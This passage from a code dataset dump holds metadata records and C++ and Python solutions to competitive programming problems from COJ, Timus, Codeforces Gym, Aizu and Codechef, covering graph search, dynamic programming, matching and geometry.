act=Q.front();\r\n\t\t\tQ.pop();\r\n\r\n\t\t\tfor(it=G[act].begin(); it!=G[act].end(); it++)\r\n\t\t\t\tif(!lev[*it])\r\n\t\t\t\t{\r\n\t\t\t\t\tlev[*it]=lev[act]+1;\r\n\t\t\t\t\tQ.push(*it);\r\n\t\t\t\t}\r\n\t\t}\r\n\t\tfor(int i=1; i<=q; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d\",&x);\r\n\t\t\tif(lev[x])printf(\"%d\\n\",lev[x]);\r\n\t\t\telse printf(\"-1\\n\");\r\n\t\t}\r\n\r\n\t\tfor(int i=1; i<=n; i++)\r\n\t\t{\r\n\t\t\tG[i].clear();\r\n\t\t\tlev[i]=0;\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.30308881402015686, "alphanum_fraction": 0.33011582493782043, "avg_line_length": 23.899999618530273, "blob_id": "d5630df86d7e1041e071c8d94f2e0d01ca1e4e00", "content_id": "72e0f5ea748d84c4e0cdcbe3d92ce1d0359fcd64", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 518, "license_type": "no_license", "max_line_length": 59, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p1597-Accepted-s468100.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint n,h,l,a[5000000];\r\ndouble s;\r\nint main(){\r\n while(scanf(\"%d%d%d\",&h,&l,&n)){\r\n if(h==0 && l==0 && n==0)break;\r\n else{\r\n s=0;\r\n for(int i=0; i<n; i++)scanf(\"%d\",&a[i]);\r\n sort(a,a+n);\r\n for(int i=l; i<n-h; i++)s+=a[i];\r\n s/=n-h-l;\r\n printf(\"%.6f\\n\",s);\r\n }\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3367697596549988, "alphanum_fraction": 0.35738831758499146, "avg_line_length": 18.785715103149414, "blob_id": "a9370be69a39841d6dd3ee2e27835340e0f104f0", "content_id": "46afe2a689e2e35f170e477d1d97f5cb0197236e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 291, "license_type": "no_license", "max_line_length": 45, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2773-Accepted-s608808.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nint a, b, c, f[100], id;\r\n\r\nint main() {\r\n\tscanf(\"%d%d%d\", &a, &b, &c);\r\n\tfor (int i = 1; i <= a; i++)\r\n\t\tfor (int j = 1; j <= b; j++)\r\n\t\t\tfor (int k = 1; k <= c; k++) {\r\n\t\t\t\tf[i + j + k]++;\r\n\t\t\t\tif (f[i + j + k] > f[id]) id = i + j + k;\r\n\t\t\t}\r\n\tprintf(\"%d\\n\", id);\r\n}\r\n" }, { "alpha_fraction": 0.40265485644340515, "alphanum_fraction": 0.4365781843662262, "avg_line_length": 21.379310607910156, "blob_id": "f330ebc9b1681571145f551c0e76c45b5bf80d4b", "content_id": "4b2ab424a1727d890a7614a73bd7a4cf1d7b48b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 678, "license_type": "no_license", "max_line_length": 48, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p3551-Accepted-s918415.py", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "import math\r\n\r\ndef fun(angle):\r\n A1 = (angle - math.sin(angle)) / 2.0;\r\n A2 = math.pi - A1;\r\n return A1 / A2;\r\n\r\ndef solve(r, k):\r\n lo = 0;\r\n hi = math.pi;\r\n for it in range(1, 200):\r\n mid = (lo + hi) / 2.0;\r\n if fun(mid) < k:\r\n lo = mid;\r\n else:\r\n hi = mid;\r\n return (lo + hi) / 2.0;\r\n\r\n#file = open(\"000.in\", \"r\");\r\n#t = int(file.readline());\r\nt = int(raw_input());\r\nwhile t > 0:\r\n t = t - 1;\r\n #r, k = map(float, file.readline().split());\r\n r, k = map(float, raw_input().split());\r\n angle = solve(r, k);\r\n x = r * math.cos(angle);\r\n y = r * math.sin(angle);\r\n print(\"%.5f %.5f\" % (x, y));\r\n" }, { "alpha_fraction": 0.36836835741996765, "alphanum_fraction": 0.4154154062271118, "avg_line_length": 13.691176414489746, "blob_id": "8fc1b50c586cad52125e25a2533b761e91fc9ac0", "content_id": "a537fac15867cfe449c0d12358841ce7d8271882", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 999, "license_type": "no_license", "max_line_length": 77, "num_lines": 68, "path": "/Codeforces-Gym/101196 - 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)\n// 101196G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nbool ok = false;\nint cdi[60];\n\nll sol = 0;\n\nll pow2[60];\n\nvoid solve( int n, int a, int b, int c ){\n if( n == 0 ){\n ok = true;\n return;\n }\n\n int l = cdi[n];\n\n if( l == b ){\n return;\n }\n\n if( l == a ){\n sol += pow2[n-1];\n solve( n-1 , a , c , b );\n }\n else{\n solve( n-1 , b , a , c );\n }\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n pow2[0] = 1;\n\n for( int i = 1; i <= 50; i++ ){\n pow2[i] = pow2[i-1] * 2ll;\n }\n\n int n = 0;\n\n\tfor( int l = 1; l <= 3; l++ ){\n int m; cin >> m;\n for( int j = 0; j < m; j++ ){\n int x; cin >> x;\n cdi[x] = l;\n }\n\n n += m;\n\t}\n\n\tsolve(n,1,2,3);\n\tif( ok ){\n cout << sol << '\\n';\n\t}\n\telse{\n cout << \"No\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3790035545825958, "alphanum_fraction": 0.4341636896133423, "avg_line_length": 16.29032325744629, "blob_id": "a7ee980d202b0de83fcc5888464b9c5a23afe763", "content_id": "1e435d75aa8a815c1f4751b952b4d491ce56e6a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 562, "license_type": "no_license", "max_line_length": 41, "num_lines": 31, "path": "/Timus/1203-6163038.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1203\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nvector<int> v[300005];\r\nint dp[300005], ans;\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 0, x, y; i < n; i++) {\r\n\t\tcin >> x >> y;\r\n\t\tv[y].push_back(x);\r\n\t}\r\n\tfor (int i = 1; i <= 300000; i++) {\r\n\t\tdp[i] = dp[i - 1];\r\n\t\tfor (int j = 0; j < v[i].size(); j++) {\r\n\t\t\tif (dp[v[i][j] - 1] + 1 > dp[i]) {\r\n\t\t\t\tdp[i] = dp[v[i][j] - 1] + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (dp[i] > ans) {\r\n\t\t\tans = dp[i];\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}" }, { "alpha_fraction": 0.3256528377532959, "alphanum_fraction": 0.3471582233905792, "avg_line_length": 15.131579399108887, "blob_id": "f7308baeb78f7b98183d64ab90bfbe4aed5d1734", "content_id": "1941b6ed171e0b1161a1f196942710ab488be505", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 651, "license_type": "no_license", "max_line_length": 78, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p3645-Accepted-s1009548.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint a, c, m, x;\r\nint pos[1005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> a >> c >> m >> x) {\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tpos[i] = -1;\r\n\t\t}\r\n\t\tint curPos = 0;\r\n\t\tdo {\r\n\t\t\tpos[x] = curPos++;\r\n\t\t\tx = (a * x + c) % m;\r\n\t\t\tif (pos[x] != -1) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t} while (true);\r\n\t\tint t = 0;\r\n\t\tint s = 0;\r\n\t\tint r = 0;\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tif (pos[i] != -1) {\r\n\t\t\t\tt++;\r\n\t\t\t\tif (pos[i] < pos[x]) {\r\n\t\t\t\t\ts++;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tr++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << (t == m ? \"YES\" : \"NO\") << \" \" << t << \" \" << s << \" \" << r << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.5460526347160339, "alphanum_fraction": 0.567669153213501, "avg_line_length": 18.327272415161133, "blob_id": "71d186708cfdcd7c6cb09a95398a7ede3c92c8a6", "content_id": "59d0258f5bc1c921ea6ac133f93eeaa2524b0a30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1064, "license_type": "no_license", "max_line_length": 65, "num_lines": 55, "path": "/Aizu/CGL_1_A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct point {\n\tdouble x, y;\n\tpoint() {}\n\tpoint(double _x, double _y) : x(_x), y(_y) {}\n};\n\npoint operator + (const point &P, const point &Q) {\n\treturn point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point &P, const point &Q) {\n\treturn point(P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point &P, const double k) {\n\treturn point(P.x * k, P.y * k);\n}\n\ninline double dot(const point &P, const point &Q) {\n\treturn P.x * Q.x + P.y * Q.y;\n}\n\ninline double norm2(const point &P) {\n\treturn dot(P, P);\n}\n\ninline double norm(const point &P) {\n\treturn sqrt(dot(P, P));\n}\n\npoint project(const point &P, const point &P1, const point &P2) {\n\treturn P1 + (P2 - P1) * (dot(P2 - P1, P - P1) / norm2(P2 - P1));\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(10);\n\n\tpoint P1, P2;\n\tcin >> P1.x >> P1.y >> P2.x >> P2.y;\n\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint P;\n\t\tcin >> P.x >> P.y;\n\t\tpoint answer = project(P, P1, P2);\n\t\tcout << fixed << answer.x << \" \" << fixed << answer.y << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.45553144812583923, "alphanum_fraction": 0.46854662895202637, "avg_line_length": 14.464285850524902, "blob_id": "567d3ff0d0a4e1c1ab27fcfabf3803aabb3061dc", "content_id": "8dab233a6488b2f3ccb9f80004c86fb17f9fd718", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 461, "license_type": "no_license", "max_line_length": 67, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p1774-Accepted-s549149.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAXN 110\r\n\r\nchar word[MAXN];\r\nint low,up;\r\n\r\nchar change(char c)\r\n{\r\n\tif(c>='a' && c<='z')\r\n\t\treturn c-'a'+'A';\r\n\telse return c+'a'-'A';\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf(\"%s\",word);\r\n\r\n\tfor(char *p=word; *p; p++)\r\n\t\tif(*p>='a' && *p<='z')low++;\r\n\t\telse up++;\r\n\r\n\tif(!up)printf(\"%s\\n\",word);\r\n\r\n\telse if(up==1 && word[0]>='A' && word[0]<='Z')printf(\"%s\\n\",word);\r\n\r\n\telse for(char *p=word; *p; p++)\r\n printf(\"%c\",change(*p));\r\n}\r\n" }, { "alpha_fraction": 0.4927726686000824, "alphanum_fraction": 0.5085414052009583, "avg_line_length": 19.742856979370117, "blob_id": "ef69d0ca3fe980078f40d056193353c0b146b154", "content_id": "775bca0d8f0993d74d337bb0da3d13083b550688", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 761, "license_type": "no_license", "max_line_length": 53, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p3620-Accepted-s939839.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(5);\r\n\tint cards, boxes;\r\n\tcin >> boxes >> cards;\r\n\tvector <int> values(cards);\r\n\tfor (int i = 0; i < cards; i++) {\r\n\t\tcin >> values[i];\r\n\t}\r\n\tsort(values.begin(), values.end(), greater <int>());\r\n\tvector <int> box_sum(boxes, 0);\r\n\tfor (int i = 0; i < cards; i++) {\r\n\t\tif (i < boxes) {\r\n\t\t\tbox_sum[i] += values[i];\r\n\t\t} else {\r\n\t\t\tbox_sum[boxes - 1 - (i - boxes)] += values[i];\r\n\t\t}\r\n\t}\r\n\tdouble AM = 0.0;\r\n\tfor (int i = 0; i < cards; i++) {\r\n\t\tAM += (double)values[i];\r\n\t}\r\n\tAM /= (double)boxes;\r\n\tdouble ans = 0.0;\r\n\tfor (int i = 0; i < boxes; i++) {\r\n\t\tans += abs((double)box_sum[i] - AM);\r\n\t}\r\n\tcout << fixed << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4892156720161438, "alphanum_fraction": 0.5029411911964417, "avg_line_length": 18.399999618530273, "blob_id": "86b9e11ead5efe4cbfe4f989b574305855d96afe", "content_id": "e28f59c1d19831a996192958b86acfac6a9902e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1020, "license_type": "no_license", "max_line_length": 56, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p2727-Accepted-s657813.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 500;\r\n\r\nint n;\r\nvector<int> G[MAXN + 5];\r\nbool mark_x[MAXN + 5], mark_y[MAXN + 5], used_x[MAXN];\r\nint match[MAXN + 5];\r\n\r\nbool kuhn(int u) {\r\n\tif (used_x[u]) return false;\r\n\tused_x[u] = true;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tint to = G[u][i];\r\n\t\tif (match[to] == 0 || kuhn(match[to])) {\r\n\t\t\tmatch[to] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nbool solve() {\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n if (mark_x[i]) {\r\n for (int j = 1; j <= MAXN; j++) used_x[i] = false;\r\n if (!kuhn(i)) return false;\r\n\t}\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\tif (mark_y[i] && !match[i]) return false;\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int x, y; n--;) {\r\n\t\tcin >> x >> y;\r\n\t\tG[x].push_back(y);\r\n\t\tmark_x[x] = mark_y[y] = true;\r\n\t}\r\n\tif (solve()) cout << \"Slavko\\n\";\r\n\telse cout << \"Mirko\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4171122908592224, "alphanum_fraction": 0.4331550896167755, "avg_line_length": 11.357142448425293, "blob_id": "7e32f616cee634c8b762582e9fa6d46af12bd0d1", "content_id": "6bd6902b2fb28e4e55731818f1527d36df5bc237", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 187, "license_type": "no_license", "max_line_length": 48, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2731-Accepted-s587744.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cmath>\r\n\r\nint n;\r\ndouble l;\r\n\r\nint main()\r\n{\r\n\tfor (scanf(\"%d\", &n); n--;)\r\n\t{\r\n\t\tscanf(\"%lf\", &l);\r\n\t\tprintf(\"%.2lf\\n\", l * l - M_PI * l * l / 4.0);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.40593141317367554, "alphanum_fraction": 0.4374420642852783, "avg_line_length": 14.646153450012207, "blob_id": "9ff8b050de0efe951b6a0c603ffaa41bcae61253", "content_id": "acddcd8c094bbe38ae4da675da3c719508872eab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1079, "license_type": "no_license", "max_line_length": 47, "num_lines": 65, "path": "/Timus/1039-6169853.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1039\n// Verdict: Accepted\n\n#include <cstdio>\r\n#include <vector>\r\n#include <cassert>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 6005;\r\n\r\nint n, a[N];\r\nvector<int> g[N];\r\nint dp[3][N];\r\nint p[N];\r\n\r\nint solve(int u, bool x) {\r\n\tif (dp[x][u] != 1e9) {\r\n\t\treturn dp[x][u];\r\n\t}\r\n\tint res = 0;\r\n\tif (x) {\r\n\t\tres += a[u];\r\n\t}\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint tmp1 = solve(g[u][i], !x);\r\n\t\tif (!x) {\r\n\t\t\tint tmp2 = solve(g[u][i], x);\r\n\t\t\tif (tmp2 > tmp1) {\r\n\t\t\t\ttmp1 = tmp2;\r\n\t\t\t}\r\n\t\t}\r\n\t\tres += tmp1;\r\n\t}\r\n\tdp[x][u] = res;\r\n\treturn res;\r\n}\r\n\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tscanf(\"%d\", &a[i]);\r\n\t\tdp[0][i] = dp[1][i] = 1e9;\r\n\t}\r\n\tint x, y;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tscanf(\"%d %d\", &x, &y);\r\n\t\tg[y].push_back(x);\r\n\t\tp[x] = y;\r\n\r\n\t}\r\n\tscanf(\"%d %d\", &x, &y);\r\n\tassert(x == 0 && y == 0);\r\n\tint root = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (p[i] == 0) {\r\n\t\t\troot = i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tint ans = max(solve(root, 0), solve(root, 1));\r\n\tprintf(\"%d\\n\", ans);\r\n}\r\n" }, { "alpha_fraction": 0.40253564715385437, "alphanum_fraction": 0.4215531051158905, "avg_line_length": 13.651163101196289, "blob_id": "be52ebf45f8aaa384d0fbce1e16dbf0168c9c2f9", "content_id": "d92184b8f0556f07efba2f9d4c797c19e0f8e9ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 631, "license_type": "no_license", "max_line_length": 31, "num_lines": 43, "path": "/Codechef/DONUTS.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int M = 20005;\n\nint t;\nint n, m;\nint arr[M];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n >> m;\n\t\tfor (int i = 0; i < m; i++) {\n\t\t\tcin >> arr[i];\n\t\t}\n\t\tsort(arr, arr + m);\n\t\tint lo = 0;\n\t\tint hi = m - 1;\n\t\tint ans = 0;\n\t\twhile (true) {\n if (hi <= lo) {\n break;\n }\n\t\t\tint need = hi - lo - 1;\n\t\t\tif (arr[lo] == need) {\n\t\t\t\tans += need;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (arr[lo] > need) {\n\t\t\t\tans += need + 1;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tans += arr[lo];\n\t\t\thi -= arr[lo];\n\t\t\tlo++;\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.39617833495140076, "alphanum_fraction": 0.42611464858055115, "avg_line_length": 20.753623962402344, "blob_id": "3cf2a943711c532d18ca6be78298420d42f80aad", "content_id": "61f26dffb2789d0b3aee270e49328cd43e76bdff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1570, "license_type": "no_license", "max_line_length": 119, "num_lines": 69, "path": "/COJ/eliogovea-cojAC/eliogovea-p3713-Accepted-s1009524.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 25;\r\nconst int dx[] = {0, 1, 0, -1, 0};\r\nconst int dy[] = {0, 0, 1, 0, -1};\r\n\r\nint t;\r\nint n, m, p;\r\nint X0, Y0;\r\nvector <pair <int, int> > values[N][N];\r\n\r\nint dp[N][N][1005];\r\n\r\nint solve(int x, int y, int tm) {\r\n\tif (dp[x][y][tm] != -1) {\r\n\t\treturn dp[x][y][tm];\r\n\t}\r\n\tint res = 0;\r\n\tfor (int i = 0; i < 5; i++) {\r\n\t\tint xx = x + dx[i];\r\n\t\tint yy = y + dy[i];\r\n\t\tif (xx >= 1 && xx <= n && yy >= 1 && yy <= m) {\r\n\t\t\tint tmp = solve(xx, yy, tm + 1);\r\n\t\t\tint pos = lower_bound(values[xx][yy].begin(), values[xx][yy].end(), make_pair(tm + 1, -1)) - values[xx][yy].begin();\r\n\t\t\tif (pos < values[xx][yy].size() && values[xx][yy][pos].first == tm + 1) {\r\n\t\t\t\ttmp += values[xx][yy][pos].second;\r\n\t\t\t}\r\n\t\t\tres = max(res, tmp);\r\n\t\t}\r\n\t}\r\n\tdp[x][y][tm] = res;\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> m >> p;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j <= m; j++) {\r\n\t\t\t\tvalues[i][j].clear();\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> X0 >> Y0;\r\n\t\tfor (int i = 0; i < p; i++) {\r\n\t\t\tint x, y, t, v;\r\n\t\t\tcin >> x >> y >> t >> v;\r\n\t\t\tvalues[x][y].push_back(make_pair(t, v));\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j <= m; j++) {\r\n\t\t\t\tsort(values[i][j].begin(), values[i][j].end());\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j <= m; j++) {\r\n\t\t\t\tfor (int k = 0; k <= 1000; k++) {\r\n\t\t\t\t\tdp[i][j][k] = -1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << solve(X0, Y0, 0) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3617021143436432, "alphanum_fraction": 0.4964539110660553, "avg_line_length": 13.88888931274414, "blob_id": "e13a237511304ca2481b4a3b11db98e3922caff3", "content_id": "65c25107ec68bc092386246727f359e1940e85e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 141, "license_type": "no_license", "max_line_length": 39, "num_lines": 9, "path": "/COJ/eliogovea-cojAC/eliogovea-p1082-Accepted-s541388.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint arr[7]={0,1,1,2,24,1344,1128960},n;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d\",&n)==1)\r\n printf(\"%d\\n\",arr[n]);\r\n}" }, { "alpha_fraction": 0.4694323241710663, "alphanum_fraction": 0.4803493320941925, "avg_line_length": 14.357142448425293, "blob_id": "26edce6e165ef61f8b218d08e7ccc553c16d8ce7", "content_id": "21b235ca448038cd3cb349dd181f8fc431efd67f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 458, "license_type": "no_license", "max_line_length": 43, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p2341-Accepted-s629246.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nint n, m;\r\n\r\nmap<string, int> M;\r\nmap<string, int>::iterator it;\r\nstring s1;\r\nint re;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> n >> m;\r\n\twhile (n--) {\r\n\t\tcin >> s1 >> re;\r\n\t\tM[s1] = re;\r\n\t}\r\n\twhile (m--) {\r\n\t\tcin >> s1;\r\n\t\tit = M.find(s1);\r\n\t\tif (it == M.end()) cout << \"not found\\n\";\r\n\t\telse {\r\n\t\t\tcin >> re;\r\n\t\t\tif (it->second == re) cout << \"ok\\n\";\r\n\t\t\telse cout << \"wrong\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33898305892944336, "alphanum_fraction": 0.37288135290145874, "avg_line_length": 17.66666603088379, "blob_id": "1e64fce2128bba4f55bf82e3ba2806e2abef1c69", "content_id": "ff969b3dd49c7fe2902708bfb7e70780cead51f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 531, "license_type": "no_license", "max_line_length": 50, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p1640-Accepted-s766269.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint b, g, k;\r\nlong long c[35][35], ans;\r\n\r\nint main() {\r\n\tfor (int i = 1; i <= 30; i++) {\r\n\t\tc[i][0] = c[i][i] = 1;\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\tc[i][j] = c[i - 1][j - 1] + c[i - 1][j];\r\n\t\t}\r\n\t}\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> b >> g >> k && (b | g | k)) {\r\n\t\tans = 0;\r\n\t\tfor (int i = 0; i <= k; i++) {\r\n\t\t\tif (i < 4 || k - i < 1 || i > b || k - i > g) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tans += c[b][i] * c[g][k - i];\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4549878239631653, "alphanum_fraction": 0.46715328097343445, "avg_line_length": 14.4399995803833, "blob_id": "1f08625b307480cae52696baebb1f01e6c2b90ed", "content_id": "402c8588252f45f05872593d60820fecde0f3bb3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 411, "license_type": "no_license", "max_line_length": 42, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p2268-Accepted-s629718.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 25;\r\n\r\nint k;\r\ndouble a[MAXN];\r\n\r\nstring solve() {\r\n\tsort(a, a + k);\r\n\tdouble ac = a[0];\r\n\tfor (int i = 1; i < k; i++) {\r\n\t\tif (ac >= a[i]) return \"YES\";\r\n\t\tac += a[i];\r\n\t}\r\n\treturn \"NO\";\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\twhile (cin >> k && k) {\r\n\t\tfor (int i = 0; i < k; i++) cin >> a[i];\r\n\t\tcout << solve() << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39349111914634705, "alphanum_fraction": 0.4378698170185089, "avg_line_length": 19.125, "blob_id": "fcaf26405c30f84b7b324df459444d57fb7f7ac0", "content_id": "d96512b5ea9da2d3e8ba84deb2db68426a585fd6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 338, "license_type": "no_license", "max_line_length": 61, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p1656-Accepted-s456055.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\nint h[500],t,n;\r\nbool b[45001];\r\n\r\nint main(){\r\n cin >> t >> n;\r\n b[0]=1;\r\n for(int i=0; i<n; i++)cin >> h[i];\r\n \r\n for(int i=0; i<n; i++)\r\n for(int j=t-h[i]; j>=0; j--)b[j+h[i]]|=b[j];\r\n \r\n for(int i=t; i>=0; i--)if(b[i]){cout << i << endl;break;}\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3167155385017395, "alphanum_fraction": 0.34310850501060486, "avg_line_length": 15.947368621826172, "blob_id": "a056509e70afd586a303cc4468e06166b373f692", "content_id": "a9b3fddc31ae8e5f774e4a97c334a7375eea7d6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 